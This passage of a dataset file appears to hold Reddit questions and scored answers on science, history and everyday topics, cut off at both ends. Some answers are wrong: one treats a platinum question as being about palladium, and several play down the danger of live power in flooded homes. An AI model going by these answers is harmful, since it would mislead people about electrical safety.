in most defensive plays, a lot of heavy contact.", "Like someone mentioned in the comments, it is when the skin separated from the cartilage of the ear. Blood then fills the space between and then hardens and calcifies. \n\nSource: I practice BJJ, wrestling and MMA. And have cauliflower. Almost everybody who does mentioned sports will get it at some stage at varying severity. Mine aren\u2019t gross(yet). \n\nAs soon as my ears start to bubble up I have the doctor/coach or wife drain the blood out with a syringe and tape it so the skin can heal back onto the cartilage. YouTube \u201cdraining cauliflower ears\u201d.\n\nIf you visit r/bjj or r/mma you can find plenty of posts about it. In fact the BJJ community almost wears cauliflower ears as a proud badge.    \n\nWrestlers always wear Ear-guards when they wrestle  to avoid this. And rugby players also I wear headgear. In BJJ/MMA we are not allowed to wear ear guards in competition, and training with them can be taboo/embarrassing or plain uncomfortable."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5erd0y", "title": "With the advancements in technology in recent years, why does it seem that radio signals and the strength of signals have appeared to stay the same?", "selftext": "I ask this because when I drive the truck for my work I listen to the radio, but when I get into the city it seems that the strength of the signal weakens and when I go in the tunnels it vanishes. This happens to all but two stations and most of the stations are within 10-25 miles to the city.\n\nIs it cause the city can cause the signals to weaken? Or do other stations using similar frequencies that can cause this to happen? Or is it a combination of things?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5erd0y/with_the_advancements_in_technology_in_recent/", "answers": {"a_id": ["daenw9s"], "score": [16], "text": ["We have done so much for signal quality in the past 25 years. In the 90s, [turbo codes](_URL_1_) were developed, and were integral to both 802.11 G (wireless router protocol) and 3G (mobile phone). These codes make communication so much more reliable, it is really insane. To suplement this, in the 2000s we started working on [MIMO](_URL_2_) which really strengthened cell phone signals and also lead to 802.11 N routers...\n\nBut... in forms of communication, urban environments, especially indoors and tunnels will create major problems. There are two major factors, first [signal attenuation](_URL_3_) and second [multi-path fading](_URL_0_). Also, the error correction on most all digital communications has a waterfall effect. That is, there is a very narrow region between near 0 error, and total catastrophe. This is the price of operating near the channel capacity. In fact this principle is born out by the mathematics, where trying to operate at rates above the channel capacity lead to rerror rates converging exponentially to 1, wrt block size.\n\nWhen going underground, the signal now has to pair through layers and layers of ground, which is denser than air. This horribly attenuates the signal, especially at the higher frequencies we use for communication. The only way we could really penetrate that medium would be extremely high power output (or lower frequency). This is not directly tied to our technology really, although use of MIMO attenas does really help.\n\nMulti path is a large problem indoors, where multiple surfaces tend to reflect the signal. The receiver ends up getting multiple, slightly delayed, copies of itself. It can wreak havoc. To deal with this we generally perform some channel conditioning, but honestly it can still be a problem. Furthermore small shifts in position can lead to large changes in the signal, because of the high frequency in the communication signal. Think about it like this, if something at 1 hz gets delayed by 1/2 second, it is now completely out of phase with the original signal. If a 10 hz signal is delayed by 1/20 of a second it will be completely out of phase with the original signal. If we are at 2.4 gHz, a small delay leads to a large phase shift. These effects can be particularly destructive, but MIMO really shines hear. With multiple antennas you can help eliminate this with some post processing. Still, these effects are quite destructive, and it is generally just best to move to the center of the room and away from obstacles which reflect electromagnetic waves.\n\n\nSo to conclude, yes we have made great strides in communications. But what you are looking at are the two hardest practical problems for physical layer communications to deal with. We probably will never have perfect solutions to either of these problems. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Fading", "https://en.m.wikipedia.org/wiki/Turbo_code", "https://en.m.wikipedia.org/wiki/MIMO", "https://en.m.wikipedia.org/wiki/Attenuation"]]}
{"q_id": "2tmbq5", "title": "What is the escape velocity of our galaxy, perpendicular to the disk?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2tmbq5/what_is_the_escape_velocity_of_our_galaxy/", "answers": {"a_id": ["co0bhkk", "co0ialb", "co0lyo5"], "score": [8, 122, 3], "text": ["There are multiple problems with this question. First of all, escape velocity depends on the distance from the center of mass. When we speak of escape velocity of planets we usually mean \"the escape velocity from the surface\". But the galaxy doesn't have a surface, so you'll have to provide a distance from the center of mass as well.\n\nBut even if you did, we would be far from a certain answer. Estimating the mass of the galaxy is no easy task, and the estimates we've done ends up varying quite a bit (but somewhere around 10\u00b9\u00b2 times the mass of our sun). There are many reasons why it's difficult to measure the mass, but one of the reasons is that galaxies doesn't behave as our models suggest. Galaxies have weird rotation speeds and for some reason the stars don't go flying off, even though the gravitational pull shouldn't be enough to keep them together with the speeds they have. The usual answer is that there are more mass in the galaxy than we can see in the stars, and we call it dark matter. But theoretically it could be another answer altogether, like gravitation working differently than we think on large scales. And if we have dark matter in our galaxy, or the wrong idea of gravitation, we won't be able to give a good answer to your question.\n\nMaybe the easiest way is to see if there's ever been an object leaving the galaxy as you suggest and check what speed it had. I hope that any of this made your view of the universe just a little bit clearer. :)", "The escape velocity for our region of the galaxy was estimated in 2013 by the [Radial Velocity Experiment](_URL_2_) (a.k.a. RAVE Survey) as being about 537 km/s.  To put that in perspective, the speed of Voyager I relative to the Sun is about 17 km/s.\n\nIf we really wanted to escape the galaxy, attempting to do it perpendicular to the disk wouldn't make much sense.  In that case, since our starting velocity perpendicular to the disk is close to zero, we'd have to provide nearly all of that 537 km/s with the spacecraft's propulsion system - about 30 times the speed of Voyager I.\n\nWe'd be much better off attempting that in the plane of our solar system's orbit, because it allows us to exploit the solar system's orbital speed and just add an incremental amount to escape the galaxy.  Our solar system orbital speed is about 220 km/s, so to escape the galaxy in the plane of our orbit would \"only\" require about 317 km/s - less than 19 times the speed of Voyager I.\n\nSources:\n\n[The RAVE survey: the Galactic escape speed and the mass of the Milky Way](_URL_0_)  \n[The RAVE Survey: Constraining the Local Galactic Escape Speed](_URL_1_)\n", "There are at least two classes of hyper velocity stars escaping the galaxy, details [here](_URL_0_).  One ne group is the victim of a slingshot effect from our central black hole; the other group is a mystery. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://arxiv.org/abs/1309.4293v1", "http://arxiv.org/abs/astro-ph/0611671", "https://www.rave-survey.org/"], ["http://t.space.com/all/24432-hypervelocity-stars-ejected-from-milky-way#1"]]}
{"q_id": "7fod5g", "title": "What makes platinum so good as a catalyst for fuel cells?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7fod5g/what_makes_platinum_so_good_as_a_catalyst_for/", "answers": {"a_id": ["dqdqwep", "dqe9h1l"], "score": [6, 13], "text": ["There are many reasons that palladium is so good at catalysis in general. One is that its Pd-H and Pd-C bonds are not too polar. This gives them a lot of stability towards water and other functional groups that organic molecules typically contain. Their bond strength is not too strong or weak, making them easier to form but also easy to break when needed. \n\nIn the case of hydrogen fuel cells it is because palladium has a good affinity for hydrogen, the H2 molecules splitting up on the Pd surface rapidly to give H atoms (many other metals will also do this, but usually either the metal or the metal hydride will not be stable to moisture). The H atoms can then be easilly oxidised to form H+ ions, giving their electrons to the oxygen in the other half of the fuel cell.", "Catalytic reactions occur in a few basic steps. First, the reactants adsorb onto the surface of the catalyst. Then, the reaction occurs. Finally, the products desorb from the surface.\n\nIn general, a catalyst is \"good\" when the adsorption is favorable (or else the reaction won't happen very fast), but the desorption is also favorable (or else the surface will quickly become cluttered, slowing the reaction). Since adsorption and desorption depend on the same property of the catalyst - adsorption energy - the quality of a given catalyst falls on a [\"volcano plot\"](_URL_0_) for any given reaction.\n\nFor both the anode and the cathode reactions in a fuel cell, platinum is a good catalyst because it falls near the peak of the volcano plot. That is, it has a good balance between favorable adsorption and favorable desorption for hydrogen, oxygen, and water."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Sabatier_principle"]]}
{"q_id": "6wg7bd", "title": "how come so many people shown being rescued from flooded homes in texas today are still able to keep using their home electricity? one woman was standing in chest height water of her flooded home and calmly told the rescuers how they still had the air conditioning running and never lost power.", "selftext": "Shouldn't it have shut down and malfunctioned already? \n\nIs it not dangerous even if by some miracle it's still operational?\n\n\nedit: sorry if my flair of 'physics' was incorrect. I'm too dumb to even know which strand of science this question belongs to.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6wg7bd/eli5how_come_so_many_people_shown_being_rescued/", "answers": {"a_id": ["dm7tcyh", "dm7tww7", "dm7vueb", "dm7wuea", "dm7xni1", "dm7zy8q", "dm80udm", "dm80z3d", "dm81bpr", "dm81uvg", "dm8350y", "dm83soh", "dm84fhf", "dm84fl0", "dm84vrd", "dm86svx", "dm86xbl", "dm88251", "dm8853k", "dm88uof", "dm8a2b7", "dm8a9qs", "dm8c7ku", "dm8cuwp", "dm8e8s1", "dm8fabj", "dm8fy9w", "dm8izad", "dm8kdde"], "score": [3228, 592, 88, 240, 24, 4655, 252, 33, 1212, 30, 8, 181, 1496, 8, 3, 33, 3, 12, 6, 14, 14, 2, 6, 3, 3, 1161, 5, 3, 2], "text": ["As long as everything is insulated and nothing has actually broken any power lines (which may well be underground), there's no reason for electricity not to work. It doesn't just magically stop working when there's a flood. \n\nNow why these people didn't go to the main circuit breaker and shut it off just in case is another question. ", "There should be a return path for the current between the two terminals of any device/socket. If you were in the liquid between the terminals, you'd have issues, but the bulk of the water would be safe. \n\nAdditionally, current in water (unless very, very large) rarely passes through skin. Skin is resistive due to lipid bilayers. Most of the current would pass along the outside of your skin rather than going into the body. ", "There is a box in your home with circuit breakers. If a circuit shorts, the breaker trips. If the circuit is not shorted, the AC stays on.  Either the circuit breaks or there is no current (heh heh) short.\n\n\nStill. Dangerous as fuck-- since the current required to kill someone is less than what the wall breakers are rated for.  GFCIs should probably be mandatory in the first floor of a flood plane....", "Also in Texas most homes do not have basements and most AC systems are in the attic.  So long as the panel is dry other circuits would short out but the AC lines would be well above the water level, but still a bad idea to run it", "Electric current always takes the path of least resistance to earth ground.  Even when the circuit is covered with water, this path is typically though the metal conductors of your breaker box.  So as long as you're not standing between the terminals of your breaker box, you're relatively safe.", "My house flooded two years ago, and it freaked me out initially when the power stayed on. I was told by the power company the next morning that since our lines are buried and insulated, they would continue to function. I asked about getting shocked, and they seemed to think there was little danger.\n\nBonus pic of my house: _URL_0_", "Electrician here.  I wouldn't go anywhere near a home that was flooded that still had power on. This is a very painful death waiting to happen.\n\nWater does not trip breakers. Water will trip GFCIs but the circuit feeding the GFCIs are still active and feeding power. Walk into a house that is waist deep in water with all the power still on is asking to get killed if you get too close to an outlet, switch or circuit, especially if a ground isn't present.  ", "Power comes into a house like the trunk of a tree. At the main circuit panel power branches out like, well, branches in the tree. If an individual outlet is submerged there will be a short and power will shut down to that branch only. \n\nModern homes will have lights and outlets on separate branches, so even if the power was out to the outlets the lights would still be on.  In almost all homes the AC unit is on its own branch, so a short elsewhere wouldn't shut off power to the AC.", "4 years studying electrical engineering and 5 more years designing and troubleshooting 120-600V industrial heaters installed in wet conditions served only to teach me that I don't understand electricity. It's always 10% MAGIC. Especially ground faults. Insulation breaks down, GFIs fail, things are wired poorly. The easiest path isn't always obvious. Just because everyone came out ok doesn't mean they will next time. ", "TIL just how many people don't understand how hvac works. \n\nCompressor and condenser are one unit outside that tuns off 220v normally with its own doublewide breaker(two pole* the breaker for the air handler(where the heating coil(think fuckhueg toaster,or furnace if applicable, and fan and evaporator(cooling) coils are runs off 110 and either has it's own 20amp breaker or one built onto the unit itself.)\n\nIt takes a lot of amps to pop a breaker(15-20 or whatever its rated at, could be 60+) and fresh water isn't terribly conductive. Water just getting into the outlets isn't going to always short it out, you've probably seen outdoor lights in high voltage sockets that work just fine when wet. \n\nEdited for semantics, two pole= 220 although many in the trades still use the term phase regardless of it's validity. ", "Electricity prefers easy flow and connected wire is preferred.  When there is a bare wire, or air gap, no matter how small,  the circuit is looking for ground.  If you are nearby, you will become as one with the water and be electrocuted or at the very least you will feel your heart contract.  Whether your heart is released from the contraction will determine if you live or die.\n", "The woman who said that was wrong about losing power. I think she just wasn't aware of how it worked. She later said they used a generator, so they HAD lost power. Nobody would use the precious gas in a generator if they still had power.  They were using a back up device for power. \n\nIt was the woman on the boat with her parents and the CNN crew right? She said they were using a generator, that's how they had air conditioning. ", "Seawater-level salinity has very low electrical resistance  - approximately 0.2 ohms per meter. \"Drinking water\" i.e. mineralized freshwater like lake, stream or spring water ranges between 20 and 2000 ohms per meter. Rainwater in hurricane flooding, although 'dirty' from the ground, may be on the less conductive end of that; not enough to trip breakers. The voltage potential in the water will vary based on the distance from hot points and paths to ground. You may have working power, but you still shouldn't move about through a house with standing water and live power, because you can't know for sure where you are safe.", "What about the electrical outlets near the floor? Would those not be a hazard when submerged in water?", "Despite what you might think electricity likes all that water around you more than you as a path of return. You'd have to be unlucky to be relatively less resistant to the current than everything around you in that situation.", "I'm a firefighter, once responded to a fire caused by downed power lines. You would think that when the power lines broke and shorted out on each other and sparked, that it would have somehow tripped the power off, but no. Houses 100 feet away never lost power (even during repair of the power lines). ", "You have several circuits in a house running to the circuit board where the mains come in. There will be one or two loops of wire / circuits to feed the downstairs sockets. The water would have shorted these and those circuits would have tripped, but the others would have been unaffected.", "Something I learned from the Allison flood in 2001 is that a lot of utility infrastructure in Houston and the surrounding area is either buried or elevated.  Hospitals keep their backup generators in sheltered rooftop structures so they can keep power available for patients who can't be moved safely.", "[It is harder than you think for electric to travel through water.](_URL_0_)", "I'm a 28 year old engineering student. I haven't understood any of the answers so far. ELI28ES please. ", "There are various things to consider for this:\n\nWhen you see this toaster in the bath tub, then there are 2 things that are a reason of it being deadly. One being, it's close to you, not far away. The other it soap, soap greatly increases the danger of electricity in water, by several times.\n\nHowever, both of these aren't the case if your house is flooded. Instead of water + soap, you got dirty water, which is way less conductive.\n\nThen there is the flow of electricty. From the ground to your house the cables are all insulated, thus safe. Once they arrive in your house they should go through a breaker, then it spreads out through several more breaker and to different spots in your house. Once there is an issue with any of these branches, then either the main breaker, or the corresponding breaker of the branch will go off, cutting all electricity that goes there.\n\nSo in the case of a flood, if all breaker of branches that are submerged are cut off, then all other electricity can work without any issues.\n\nSo it's way less dangerous compared to a toaster in your bath, but it can still be dangerous. When there is a flood turn off the main breaker of your house to avoid any accidents, cause while it's unlikely that something does happen, it can still happen and it could kill/wound you or someone else.\n\nedit: keep in mind that the higher the voltage, the further it goes in the water, thus if you see a high voltage line having fallen somewhere into the water, then stay far away from it!\n\nedit: ~~safety~~ breaker", "The funny thing is she could be right when she said they didn't lost power and that they were using generator at the same time. \nUsually, the lights in the house are on a different circuit than the power outlets and other stuff, so if the water gets to the house and to the power outlets, it should cause short circuit and make the outlets and electrical stuff circuit breaker to trigger. While at the same time, the lights circuit which stays above the water (and the underground part is insulated) can still be working just fine. \nIt's just how it's organized in most of the houses I've seen. ", "Avid DIYer and past electrician here. I have experimented with submerged DC (12V high amp) for hydrogen generation (electrolysis of water). It just doesn't work without a lot of electrolyte dissolved into the water. As for 120V AC, as in wall outlets, I have felt the intermittent kiss of a wet power cord with damaged insulation.\n\nAs others said, low-salinity rain water with household power running through it probably won't kill you. However it will corrode your equipment nicely. Motor brushes and outlet contacts will electolyze and oxidize, de-Electroplate, etc. You might save all your gear by killing the power. For the record, I'd be scared to approach the main breaker, and I absolutely would NOT APPROACH it if it were submerged. That incoming power is ungated, not breakered. However in that situation, that current will generally flow along the surface of your body, should you be unfortunate to encounter it. Still, no thanks. Some things aren't worth risking.", "Interesting answers.\nNever understood most of that stuff until now.\n\nAnd I did get one answer why I always see buildings on fire during floods.\nI never snapped to how a house standing in 6 ft of water with nothing around it would be burning.  The power was left on.  And it took a while, but something tripped and arc'd.\n\n", "Let's do some quick math:  Using Ohm's law, we see that in order for a 15A circuit breaker to trip at 120V, the path resistance needs to be below 8 ohm.\n\nBased on an earlier poster's water conductivity numbers...\n\nIn sea water (0.2 ohm/meter), the distance between hot and ground could be no more than 8 / 0.2 = 40meters.  That's pretty huge so I'd expect an outlet submerged in salt water to readily trip its breaker.\n\nIn drinking water (say 500ohm/meter), the maximum distance would be 0.016m or 1.6cm.  That's probably less than the distance between the hot and ground wires in the electrical box.  The rain-induced flood water is probably even less conductive (say 1500 ohm/meter).  That drops the maximum distance between hot and ground to around 0.5cm.\n\nSo I would not expect a single outlet submerged in drinking water or flood water to trip a breaker.\n\nBut it's more complicated than that.  How many submerged outlets are on the circuit?  Let's say there are 8 submerged outlets on the circuit.  For a typical wall socket, the distance between hot and ground is maybe an inch.  Assuming 1500 ohm/meter, then each outlet has a ~40 Ohm path to ground so each socket would leak around 3A.  So the entire circuit would leak ~24A.  In this case, I'd expect the breaker to trip.\n\nGFCI circuits make things even more complicated.\n", "Power Transmission Engineer here.\n\nThe power is mostly likely off in 99% of these areas. If the utilities are doing their jobs correctly, then relays, lockouts, circuit switchers, and the like would have operated, isolating these customer's from power.\n\nThose that are still getting lights are probably on back up generators.\n\nNow, lets talk about the dangers of having power in a flooded house. These people are taking their lives into their own hands here. **ANY** electrical that's been exposed to water, especially breaker boxes is considered damaged beyond repair and *MUST* be replaced. Why? Corrosion. All these contacts, especially with active voltage and current in the lines, are corroding as we speak.\n\n*ALL* wiring and components will have to be replaced, it is part of the restoration process to get your power restored to the house.\n\nNext, we'll talk about what's happening to the grid in these areas. Power comes to your house via a substation, any of these substations that went underwater, whether these cables were buried or not, will have to most likely be ripped out and be replaced.\n\nIf any of the power that is coming from the utilities is still on, then their protection schemes have failed and there is something poorly planned in their relay performance/design area. By rights, if they are competent engineers then the following should have happened:\n\n > Water floods the switch yard, and shorts out lets say a breaker. The breaker should be wired to do its job, break the current and lockout. Meaning it cannot be re-engaged unless an operator is on sight. With the loss of power to the breaker, the relay protecting this part of equipment would see a \"Loss of Potential\" at the breaker, thus tripping a lockout again, creating another point where an operator would have to reset it.\n\n > With water now in the switch yard, the sub house will most likely be next to go out. Station service is provided by special potential transformers, called SSVT (station service voltage transformers) these devices take bus voltage from the PT's and sends it to be converted into DC and powers a battery set. These will be protected by their own protection scheme. Seeing that the voltage on a circuit breaker is gone, the bus voltage will drop out, thus dropping the station service. (All lockouts should have operated because of this, again isolating the sub and customers affected)\n\n > Now, depending on how this substation operates, it could either be radially fed, power coming from one direction, or networked, power coming from many directions. If the station is radially fed, then anything connected downstream from this sub will be out of power and nothing will restore it until whatever is in the circuit is repaired. If the service is networked, then once this sub goes out, power is restored nearly instantaneously by rerouting through other circuits connected to it, transferring load. (This is why your lights might blink during a storm.)\n\nKeep in mind, everything I've talked about either happens in a few cycles to upwards of 3600 cycles.\n\nA cycle is: 60cy/sec, which translates to 1/60th of a second to one minute. It all depends on what the engineers have set this stuff to operate at.\n\nTL;DR: These people still using power have either backup generators or their utilities have failed them. Any flooded house should not have power and are opening themselves up to death. If the utilities are providing power and someone dies of an electric shock then they are opening themselves up to lawsuits.", "If the water was high enough to enter any electrical outlets it would definitely be HOT (electrified). In the situation of a house flood it would be very wise to avoid contact with the standing water or better yet get out of the house ", "Two parts:\n\n1. Power company: everything is high from the ground or buried and isolated. And the area where the transformers and substations are located may not be flooded even if part of the area it serves is. They should manually turn it off for safety reasons, but unless the water is really high (at least more than 10 feet) the system can operate.\n\n2. House: power for outlets, usually placed low,  should be cut as soon as water gets to them. But in a good installation this doesn't mean other parts will be cut because they are connected to different circuits. AC is usually has a circuit just for it. So if the AC outlet is high and the wires of its circuit are in good condition it can continue to work. Again, this is not safe, you should always turn the power off in conditions like this, but it can continue to work.", "She had a generator. Just CNN forgot to mention it. They were well prepared. I'm more afraid of where they had the generator since it obviously couldn't go outside in all the flooding. Hopefully they had it on a high balcony so they didn't get carbon monoxide poisoning. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://m.imgur.com/o16n1U0"], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=dcrY59nGxBg"], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "dwxtkk", "title": "how does a government nationalise an industry?", "selftext": "Recently in the UK election labour said they would Nationalise internet for everyone buy a part of BT (British Telecoms IP). How can the government purchase BT, and do BT have any right to refuse.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dwxtkk/eli5_how_does_a_government_nationalise_an_industry/", "answers": {"a_id": ["f7m7n2v", "f7m7s0b", "f7mdxdb"], "score": [12, 6, 8], "text": ["BT is a public company so in theory the government can buy enough shares and force a hostile takeover.\n\nMany companies have little choice with nationalisation as the alternative is often liquidation. In these cases the owners would sell the business and its liabilities for a token amount (usually \u00a31) and the government would take ownership of all assets and debts.\n\nBT is a heavily regulated business anyway so it wouldn't be too much of a reach to legislate some form of additional tax and government board seats that would effectively place ownership of BT in the government hands.\n\nFinally its the government. They have an army so can basically do what they like. After all if the last 3 years has taught us anything parliament is sovereign.\n\nTbh though I'm not even sure he can force much through under EU Laws.", "It buys up all the shares normally in the form of a compulsory purchase, but this is normally very expensive and a government would have to increase taxes significantly or borrow large amounts of money if they were to nationalise BT.", "Plata or plomo? The gold price or the iron price? As Narcos and Game of Thrones have reminded us, there are two ways for powerful people to do things.\n\n**Plata/gold:**\n\n* There have been 15 nationalizations in the UK over the past 70 years. In each situation, the government paid market value for the companies, which is the price that the company would get if it was sold to someone other than the government.\n\n* In one case, the government nationalized a bank called Northern Rock. The people who owned it said that they weren't paid market value, so they sued the government for more money. Unfortunately for them, the bank was insolvent so their claim wasn't justified (insolvent is when you can't pay debts, bankruptcy is when the court decides how you will stop being insolvent.)\n\n* Usually developed countries only nationalize companies that are insolvent to protect their economies. It's similar to a bailout. It's very rare for governments to nationalize companies that aren't insolvent. The few times they have done so, they just paid market rates and bought the companies.\n\n**Plomo/iron:**\n\n* There are many examples of developing countries nationalizing companies below market rates. In those situations, it's usually a \"give us ownership of your company for a token sum or we'll execute you \" type of thing. As soon as you have the biggest militia in a country you can take over the government. Then you are the legitimate ruler of the country, and you can force other people in the country to turn over their property or you'll kill them.\n\n* The only hiccup is if some of the owners of a given company live in another country and/or there are international treaties governing how a country handles this. Then the other countries have to figure out what to do in response to a violated treaty. They usually have plumo and iron too.\n\nUltimately, nationalization is a modern day example of how people with the guns get to make the decisions. If they want, they can pay market price to the no gun people with voluntary consent, or they can pay below market price to no gun people without consent. Developed countries usually go with the first approach, and developing countries traditionally have gone with the latter. The question of rights is irrelevant because the organization that is supposed to be protecting your rights is the one that is infringing upon them.\n\nNationalization and international law are pretty interesting topics in my opinion because they remind us that government, taxes, democracy, private property, human rights, etc. are all social constructs. These things don't exist for the millions of other species that exist in the wild. They didn't exist for humans for millions of years. Then a few thousand years ago, we invented these concepts. We are so used to thinking of these social constructs as rigid, we often forget that they only exist through collective action."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "cxwbhp", "title": "how do animals hatched from eggs have/get enough nutrients to fully form without a life tether like an umbilical cord?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cxwbhp/eli5_how_do_animals_hatched_from_eggs_haveget/", "answers": {"a_id": ["eynv6fv", "eynxygq", "eyo066m"], "score": [21, 15, 2], "text": ["It\u2019s all there in the egg with them. That\u2019s the yolk part. Everything they will need prior to hatching.", "There is a reason if eggs are considered one of the most nutricious foods, they have everything a chicken needs to form already packed in.\n\nIt's also the reason they have so much cholesterol, since it's need to form functional cell membranes.", "I wondered this, too. What about oxygen ?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1ivmt9", "title": "If you are bit by a mosquito and are infected with west Nile virus but are asymptomatic (70-80% likelyhood) would that make you immune to the virus?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ivmt9/if_you_are_bit_by_a_mosquito_and_are_infected/", "answers": {"a_id": ["cb8i5mo", "cb8ktr0"], "score": [4, 4], "text": ["Not necessarily. Some viruses are latent, which means that the viral DNA is incorporated into the host genome until the conditions are ideal for viral replication. The West Nile virus has a ssRNA genome, which means that it may take some time to incorporate into the genome. However, I can not find any information as to whether it is lytic or latent. If the virus is lytic and causes a widespread infection right away, then yes, the absence of symptoms would imply that the host's infected cells have been destroyed.\n\nHere is some info: \n_URL_0_", "Not exactly. It's possible for your immune system to keep the viral load in check enough for you to be asymptomatic without producing decent levels of memory B or T-cells characteristic of long-term immunity. You may also still be able to transmit the virus, for example, if a mosquito bites you and passes it on to other hosts. And it is also possible for you to become symptomatic at a later time if the viral load increases or modulates your immune system as some strains do.\n\nIt also depends on what type of immunity you are referring to: you can be partially or completely immune to some pathogens, temporarily or long-term protected, and you may be immune to a very specific substrain of a virus or to a broader taxa. \n\nGreat question, but man is immunology complicated!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC1617273/"], []]}
{"q_id": "uttb3", "title": "Can someone help me gain a more quantitative understanding of the concept of invariance of the speed of light?", "selftext": "Hello askscience,\n\nSo I've heard and even explained a lot of the more qualitative, analogical, and heuristic takes on special relativity and time dilation and such. I'm by no means mathematically sophisticated, but I'm studying math and economics in school and I've done some linear algebra and multivariable calculus and such, but I've never applied anything to physics except insofar as physics is applied to math problems in math classes (mostly things about springs).\n\nBut I'd like to understand this stuff a little better cause it fascinates me. I understand that having a constant speed of light basically means that the time between emission from my flashlight to perception by your eyes is a function of the distance between my flashlight and your eyes, and not of anything else. But I don't fully understand how this works, so maybe you can help me work out a basic problem:\n\nI'm travelling at 0.5c, following you in a straight line. You're going at 0.6c. I turn on my flashlight at time t=0. How do we work out when you perceive the light from my flashlight when our distances are changing with time?\n\nIf you'd rather not work out the full problem, pointing me to online resources from which I can study this stuff would be greatly appreciated too. \n\nThis stuff is a lot more interesting than my linear programming homework that I ought to be working on.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/uttb3/can_someone_help_me_gain_a_more_quantitative/", "answers": {"a_id": ["c4yhk58", "c4yl4ms", "c4yoq0x"], "score": [2, 2, 3], "text": ["Hi, I'll have a go at this, but I don't have a huge amount of time. A first remark: you need to specify that everything is measured with respect to some fixed reference frame R. As a direct consequence, if you measure the speed of your buddy, you will *not* measure 0.6 c - 0.5 c = 0.1 c, but you need to use the [velocity addition formula](_URL_0_).\n\nLet's get down to the math. Say that at time t = 0 you're at the point x = 0. Then the trajectory of the light is described by x(t) = c t.  Now you'll remark that that formula doesn't depend on your own velocity v = 0.5 c. Odd, isn't it? However, it's not an issue. If you use the above velocity addition formula, you'll see that in *your* reference frame, moving at 0.5 c, you'll still measure that light moves away at a velocity v.\n\nNow suppose that your buddy starts out at x = L at t = 0. To find the time t at which he sees the light (no pun intended), just solve\n\nc t = L + 0.6 c t   -- >   t = 2.5 L/c.\n\nThat seems almost to simple to be true. That's because the time t is measured in the fixed reference frame R. If you want the values in your frame R' or your buddy's frame R'', you need to apply a Lorentz transformation. The formulas (and a decent explanation) are given on [this excellent site](_URL_2_). Since it's very late, I won't plug in the numbers, and I think it's a good exercise to play with the formulas a bit.\n\nIf you're more of a visual person, you can also use [space-time diagrams](_URL_1_) to draw the problem. It's very easy, helps you overcome conceptual issues and it's in fact a rigorous method (you can prove everything in special relativity using them).\n\nHope this helps you out a little - apart from the hyperphysics site I don't know that many web resources. There are tons of textbooks that explains the stuff at the undergrad level though, i.e. knowing what a vector/matrix/square root is should suffice.", "As a layman, this is the way I like to think of it:\n\n1) Light traveling from the sun to the Earth takes 8 minutes to reach you. \n\n2) From the perspective of a photon the trip is instantaneous.\n\n3) The faster you travel, the closer to instantaneous your movement becomes from your perspective.", "The speed of light is constant in all reference frames.  Time and space distort to keep it constant (compared to your preconceived notions of them).  Since light is a wave, this actually says something deep about physics - wave speed is calculated from a springlike term (the energy required to make an electric field) and a momentumlike term (the energy required to make a magnetic field).  Those two quantities are constant in every laboratory, no matter where or how fast it be moving, ergo local physics is independent of position and motion."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://hyperphysics.phy-astr.gsu.edu/hbase/relativ/einvel.html#c1", "http://en.wikipedia.org/wiki/Minkowski_diagram", "http://hyperphysics.phy-astr.gsu.edu/hbase/relativ/ltrans.html#c2"], [], []]}
{"q_id": "1sligj", "title": "breadth of constitutional authority", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1sligj/eli5_breadth_of_constitutional_authority/", "answers": {"a_id": ["cdyr5dm"], "score": [2], "text": ["Because you're posting with a point of view in mind, you should repost to /r/changemyview.  This has been removed. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6oogq9", "title": "How did the land invasion of Europe happen so quickly post D-Day as opposed to today, where it takes 8 months to liberate one city?", "selftext": "Thinking about the current fight against Da'esh in the Iraq and Syria in comparison to the last year of WWII is the swiftness with which the allied forces closed in on the German army throughout mainland Europe after the D-Day invasions.  Whereas, today, it took the Iraqi Army approximately 8 months to fully liberate the city of Mosul with western-allied air support. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6oogq9/how_did_the_land_invasion_of_europe_happen_so/", "answers": {"a_id": ["dkivubg", "dkizawd"], "score": [6, 45], "text": ["Hi there -- we approved this question, but I'd just like to remind any potential question-answerers that we do ask that answers here steer clear of [current events](_URL_0_). So it's totally fine to compare the liberation of Europe to other conflicts up to 1997 (inclusive), but we wouldn't want to go past that. \n\nThanks! ", "I've been reading Eisenhower's book (Crusade in Europe) about the operations during WW2. \n\nSeveral factors come to mind:\n\n  * The number of soldiers involved in WW2 was staggering. Operation Overlord brough 2 million soldiers to bear by end of August 1944.\n  * A number of biggest cities had population which welcomed the US (and Brittish, and French, and Canadian and Polish, and a mix of others) troops. Which made it hot ground for the Germans, who therefore retreated to more easily defended positions.\n  * A number of the biggest cities on the western front were declared open cities: fighting took place around them, but not IN the cities. \n  * The speed you note was on the western front, but not on the Eastern front. Compare the sieges of Leningrad and Stalingrad, and the taking of Berlin. In 